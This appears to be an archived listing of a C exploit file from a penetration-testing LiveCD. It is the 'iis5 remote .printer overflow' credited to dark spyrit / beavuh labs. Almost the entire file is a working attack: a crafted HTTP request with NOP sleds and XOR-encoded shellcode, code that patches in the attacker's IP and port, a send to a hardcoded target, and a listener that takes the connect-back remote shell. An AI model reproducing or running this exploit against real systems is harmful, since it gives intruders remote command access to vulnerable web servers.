home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / iisprinter.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  264 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <ctype.h>
  5. #include <pcre.h>
  6. #include <unistd.h>
  7. #include <sys/stat.h>
  8. #include <sys/time.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netinet/in.h>
  12. #include <arpa/inet.h>
  13. #include <netdb.h>
  14. #include <fcntl.h>
  15. #include <errno.h>
  16.  
  17. #define BUF 250
  18. #define BIGBUF 1024
  19. #define LARBUF 4192
  20. #define HUGBUF 65536
  21. struct sockaddr_in serv, cli;
  22.  
  23. int listener(void);
  24. int resolve_local(char *host);
  25. int main(int argc, char **argv)
  26. {
  27.     unsigned char sploit[]=
  28. "\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
  29. "\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20"
  30. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  31. "\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
  32. "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
  33. "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
  34. "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
  35. "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
  36. "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
  37. "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
  38. "\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
  39. "\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
  40. "\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
  41. "\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
  42. "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
  43. "\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
  44. "\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
  45. "\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
  46. "\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
  47. "\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
  48. "\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
  49. "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
  50. "\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
  51. "\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
  52. "\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3"
  53. "\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
  54. "\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
  55. "\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
  56. "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
  57. "\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
  58. "\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
  59. "\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
  60. "\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
  61. "\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
  62. "\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
  63. "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
  64. "\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
  65. "\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
  66. "\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
  67. "\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
  68. "\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
  69. "\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
  70. "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
  71. "\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
  72. "\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
  73. "\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90"
  74. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  75. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  76. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  77. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  78. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  79. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  80. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  81. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  82. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  83. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  84. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  85. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  86. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  87. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  88. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  89. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  90. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  91. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
  92. "\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
  93. "\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a";
  94.         char                    line[51];
  95.         int             sockfd;
  96.         unsigned short int      a_port;
  97.         unsigned long           a_host;
  98.  
  99.  
  100.   bzero(&serv, sizeof(struct sockaddr));
  101.   bzero(&cli, sizeof(struct sockaddr));
  102.   serv.sin_family = AF_INET;
  103.   serv.sin_port = htons(8400);
  104.   serv.sin_addr.s_addr = inet_addr("192.168.1.135"); 
  105.        printf("iis5 remote .printer overflow.\n"
  106.                 "dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n");
  107.         bzero(&line, sizeof(line));
  108.  
  109.             printf("What port should we bind to? [need root for <= 1024]: ");
  110.             fgets(line, 50, stdin);
  111.             line[strlen(line) - 1] = '\0';
  112.  
  113.             a_port = htons(atoi(line));
  114.             cli.sin_port = htons(atoi(line));
  115.  
  116.             bzero(&line, sizeof(line));
  117.  
  118.             printf("what is our ip address?: ");
  119.             fgets(line, 50, stdin);
  120.             line[strlen(line) - 1] = '\0';
  121.             if (!resolve_local(line) == 0) {
  122.                 fprintf(stderr, "Error resolving local ip: %s\n", line);
  123.                 exit(0);
  124.             }
  125.             cli.sin_addr.s_addr = inet_addr(line);
  126.             cli.sin_family = AF_INET;
  127.  
  128.  
  129.  
  130.         a_port^=0x9595;
  131.  
  132.         a_host = *((unsigned long *)&cli.sin_addr.s_addr);
  133.         a_host^=0x95959595;
  134.  
  135.         sploit[441]= (a_port) & 0xff;
  136.         sploit[442]= (a_port >> 8) & 0xff;
  137.  
  138.         sploit[446]= (a_host) & 0xff;
  139.         sploit[447]= (a_host >> 8) & 0xff;
  140.         sploit[448]= (a_host >> 16) & 0xff;
  141.         sploit[449]= (a_host >> 24) & 0xff;
  142.  
  143.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  144.                 perror("socket");
  145.                 exit(1);
  146.         }
  147.  
  148.         printf("\nconnecting... \n");
  149.  
  150.         if ((connect(sockfd, (struct sockaddr *) &serv, sizeof(struct sockaddr_in))) == -1){
  151.                 perror("connect");
  152.                 exit(1);
  153.         }
  154.  
  155.         write(sockfd, sploit, strlen(sploit));
  156.         sleep (1);
  157.         close (sockfd);
  158.         printf("sent... \nyou may need to send a carriage on your listener if the shell doesn't appear.\nhave fun!\n");
  159.  
  160.         /* This is our listener */
  161.         listener();
  162. /*
  163.         connfd = socket(AF_INET, SOCK_STREAM, 0);
  164.         if ( (bind(connfd, (struct sockaddr *)&cli, sizeof(struct sockaddr_in))) == -1) {
  165.              perror("bind");
  166.         }
  167.  
  168.         listen(connfd, 5);
  169.         local_len = sizeof(struct sockaddr_in);
  170.  
  171.         newfd = accept(connfd, (struct sockaddr *)&cli, &local_len);
  172.  
  173.         maxfd = newfd;
  174.  
  175.         for( ; ; ) {
  176.           FD_ZERO(&rset);
  177.           FD_SET(fileno(stdin), &rset);
  178.           FD_SET(newfd, &rset);
  179.           select(maxfd+1, &rset, NULL, NULL, NULL);
  180.  
  181.  
  182.             if (FD_ISSET(fileno(stdin), &rset)) {
  183.                 if (fgets(sendbuf, HUGBUF, stdin) == NULL)
  184.                     return (0);
  185.                     write(newfd, sendbuf, strlen(sendbuf));
  186.             }
  187.  
  188.             if (FD_ISSET(newfd, &rset)) {
  189.                 if ( (n = read(newfd, recvbuf, HUGBUF)) < 0) {
  190.                      break;
  191.                 }
  192.                 recvbuf[n] = '\0';
  193.                 fputs(recvbuf, stdout);
  194.             }
  195.         }
  196. */
  197.   return(0);
  198. }
  199. int resolve_local(char *hostname)
  200. {
  201.         struct hostent *res;
  202.  
  203.            if (inet_pton(AF_INET, hostname, &cli.sin_addr) <= 0) {
  204.                if ((res = gethostbyname(hostname)) == NULL) {
  205.                    return(1);
  206.                }
  207.                memcpy(&cli.sin_addr.s_addr, res->h_addr, res->h_length);
  208.                return(0);
  209.            }
  210.   return(0);
  211. }
  212. int listener(void)
  213. {
  214.   int connfd, maxfd, newfd, local_len, n, retval;
  215.   char sendbuf[HUGBUF + 1], recvbuf[HUGBUF + 1];
  216.   struct timeval timeout;
  217.   fd_set rset;
  218.  
  219.   bzero(&sendbuf, HUGBUF + 1);
  220.   bzero(&recvbuf, HUGBUF + 1);
  221.   FD_ZERO(&rset);
  222.   timeout.tv_sec = 5;
  223.   timeout.tv_usec = 0;
  224.         connfd = socket(AF_INET, SOCK_STREAM, 0);
  225.         if ( (bind(connfd, (struct sockaddr *)&cli, sizeof(struct sockaddr_in))) == -1) {
  226.              perror("bind");
  227.         }
  228.  
  229.         listen(connfd, 5);
  230.         local_len = sizeof(struct sockaddr_in);
  231.  
  232.         newfd = accept(connfd, (struct sockaddr *)&cli, &local_len);
  233.  
  234.         maxfd = newfd;
  235.  
  236.         for( ; ; ) {
  237.           FD_ZERO(&rset);
  238.           FD_SET(fileno(stdin), &rset);
  239.           FD_SET(newfd, &rset);
  240.           retval = select(maxfd+1, &rset, NULL, NULL, &timeout);
  241.  
  242.           if (retval) {
  243.             if (FD_ISSET(fileno(stdin), &rset)) {
  244.                 if (fgets(sendbuf, HUGBUF, stdin) == NULL)
  245.                     return (0);
  246.                     write(newfd, sendbuf, strlen(sendbuf));
  247.             }
  248.  
  249.             if (FD_ISSET(newfd, &rset)) {
  250.                 if ( (n = read(newfd, recvbuf, HUGBUF)) < 0) {
  251.                      break;
  252.                 }
  253.                 recvbuf[n] = '\0';
  254.                 fputs(recvbuf, stdout);
  255.             }
  256.           } else {
  257.             printf("ewp must have failed\n");
  258.             break;
  259.           }
  260.         }
  261.   return(0);
  262. }
  263.  
  264.